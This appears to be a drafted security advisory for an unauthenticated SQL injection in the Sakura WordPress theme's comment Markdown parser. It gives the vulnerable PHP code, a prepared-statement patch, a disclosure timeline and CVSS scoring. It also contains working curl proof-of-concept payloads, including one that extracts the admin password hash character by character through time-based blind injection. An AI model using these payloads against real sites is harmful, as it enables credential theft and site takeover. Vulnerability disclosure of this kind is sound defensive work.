CVE-2026-XXXXX

Unauthenticated SQL Injection in Sakura WordPress Theme via Comment Markdown Parser

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Advisory Information

Field	Value
Ecosystem	WordPress Theme
Package/Product	Sakura WordPress Theme
Affected Versions	All versions through commit 9a7a597
Patched Versions	None
Severity	CRITICAL (CVSS 9.8)
CWE	CWE-89 (SQL Injection)
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Repository	https://github.com/mashirozx/sakura
Stars	3,816 ⭐

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Summary

The Sakura WordPress theme contains an unauthenticated SQL injection vulnerability in its Markdown comment parser. Raw, unsanitized comment content is stored in a global variable during the preprocess_comment filter and later concatenated directly into a SQL UPDATE query without using $wpdb->prepare().

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Affected Component

Field	Value
Ecosystem	WordPress Theme
Package	mashirozx/sakura
Vendor	mashirozx
Affected Versions	All
Patched Versions	None
File	functions.php, lines 1803–1889

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Description

The Sakura theme adds Markdown support to WordPress comments via two hooks:

1. preprocess_comment — markdown_parser() captures raw $_POST['comment'] content into global $comment_markdown_content
2. comment_post — save_markdown_comment() writes this raw content to the database via unsafe SQL

Vulnerable code (functions.php, lines 1804–1835):

// Hook 1: Captures RAW user input before WordPress sanitization
function markdown_parser($incoming_comment) {
    global $wpdb, $comment_markdown_content;
    
    // ❌ Stores raw unsanitized comment content in global variable
    $comment_markdown_content = $incoming_comment['comment_content'];
    
    // ... markdown rendering ...
    return $incoming_comment;
}
add_filter('preprocess_comment', 'markdown_parser');

// Hook 2: Uses raw content directly in SQL query
function save_markdown_comment($comment_ID, $comment_approved) {
    global $wpdb, $comment_markdown_content;
    $comment_content = $comment_markdown_content; // ← RAW USER INPUT
    
    // ❌ Direct string interpolation — NO $wpdb->prepare()!
    $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . 
                  "' WHERE comment_ID='" . $comment_ID . "';");
}
add_action('comment_post', 'save_markdown_comment', 10, 2);

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Proof of Concept

Environment: WordPress 6.x with Sakura theme activated, comments enabled.

Exploit:

PoC #1 — Time-Based Blind SQL Injection (universal):

# Confirm vulnerability by inducing 5-second delay via WHERE clause
curl -X POST "http://target/wp-comments-post.php" \
  --data "comment=test', comment_ID=SLEEP(5) -- " \
  --data "author=Attacker" \
  --data "email=attacker@evil.com" \
  --data "comment_post_ID=1" \
  --data "submit=Post+Comment"
# Response delay of 5+ seconds confirms blind SQL injection

PoC #2 — Time-Based Blind Data Extraction (credential harvest):

Note: $wpdb->query() uses mysqli_query() internally, which does not support stacked (multi-statement) queries. Data extraction is performed via time-based blind injection within a single UPDATE statement.

# Extract admin password hash character by character
# If first char of wp_users.user_pass (ID=1) equals '$', response delays 5s
curl -X POST "http://target/wp-comments-post.php" \
  --data "comment=test', comment_ID=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
  --data "author=Attacker" \
  --data "email=attacker@evil.com" \
  --data "comment_post_ID=1" \
  --data "submit=Post+Comment"
# 5-second delay = first char matches; iterate over all positions to rebuild full hash
# Full hash can then be cracked offline (WordPress uses phpass MD5)

What happens:

1. markdown_parser() fires on preprocess_comment — stores raw comment in $comment_markdown_content (before WordPress sanitization)

2. WordPress sanitizes and inserts the comment into wp_comments table

3. save_markdown_comment() fires on comment_post — executes the UNSANITIZED content:

   PoC #1 — Blind confirmation:

   UPDATE wp_comments SET comment_markdown='test', comment_ID=SLEEP(5) -- ' WHERE comment_ID='123';

   Result: 5-second delay confirms SQL injection is exploitable.

   PoC #2 — Credential extraction (iterative):

   UPDATE wp_comments SET comment_markdown='test', comment_ID=IF(
     SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0
   ) -- ' WHERE comment_ID='123';

   Result: Attacker iterates character-by-character to extract admin password hash, which can be cracked offline (WordPress uses phpass/MD5).

   Why stacked queries fail: $wpdb->query() internally calls mysqli_query(), which does NOT support multiple statements separated by ;. Time-based blind injection reliably extracts data within a single UPDATE statement.

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Impact

CIA	Level	Description
Confidentiality	HIGH	Extract all WordPress user data, password hashes, emails via subquery exfiltration
Integrity	HIGH	Extract admin password hash → crack offline → full admin access → modify any content
Availability	HIGH	Admin access gained via credential chain enables deletion of all site content

Attack scenario:

1. Unauthenticated attacker posts a comment with SQL injection payload
2. Raw payload bypasses WordPress sanitization via the preprocess_comment hook
3. SQL injection executes with full database privileges
4. Attacker gains admin access, exfiltrates user data, or destroys the database

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Patches

Replace string interpolation with $wpdb->prepare():

- $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . 
-               "' WHERE comment_ID='" . $comment_ID . "';");
+ $wpdb->query($wpdb->prepare(
+     "UPDATE {$wpdb->comments} SET comment_markdown = %s WHERE comment_ID = %d",
+     $comment_content,
+     $comment_ID
+ ));

Also use $wpdb->comments instead of hardcoded wp_comments to support custom table prefixes.

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References

Type	URL
Repository	https://github.com/mashirozx/sakura
Vulnerable code	https://github.com/mashirozx/sakura/blob/master/functions.php#L1834
WordPress $wpdb->prepare()	https://developer.wordpress.org/reference/classes/wpdb/prepare/
CWE-89	https://cwe.mitre.org/data/definitions/89.html

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Verification

Vulnerability confirmed via local code audit on 2026-06-27:

git clone https://github.com/mashirozx/sakura
cd sakura

# Confirm SQL injection at line 1834:
grep -n "wpdb->query.*UPDATE.*comment_markdown" functions.php
# Output: 1834: $wpdb->query("UPDATE wp_comments SET comment_markdown='" . $comment_content . "' WHERE comment_ID='" . $comment_ID . "';");

# Confirm NO prepared statements used anywhere:
grep -c "wpdb->prepare" functions.php
# Output: 0

# Confirm raw input source:
grep -n "comment_markdown_content.*incoming_comment" functions.php
# Output: 1818: $comment_markdown_content = $incoming_comment['comment_content'];

# Confirm vulnerable hooks:
grep "preprocess_comment\|comment_post" functions.php
# Output: add_filter('preprocess_comment', 'markdown_parser');
#         add_action('comment_post', 'save_markdown_comment', 10, 2);

Verification status: ✅ ALL CHECKS PASSED

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Credits

Role	Name
Finder	Fatullayev Asadbek
Reporter	Fatullayev Asadbek
GitHub	Kimdir01

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Timeline

Date	Event
2026-06-27	Vulnerability discovered via source code analysis
2026-06-27	Local verification — git clone + code audit confirmed
2026-06-27	Vendor notified via GitHub Security Advisory (private disclosure)
TBD	Vendor acknowledgment / response
TBD + 90 days	Coordinated public disclosure (standard responsible disclosure window)
TBD	CVE ID assigned and advisory published

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CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL

AV:N — Remote over HTTP (anyone can post a comment)
AC:L — Simple POST request
PR:N — No authentication (comments are public)
UI:N — No user interaction
S:U   — Same security context
C:H   — Read any database table
I:H   — Modify any database table
A:H   — DROP/DELETE possible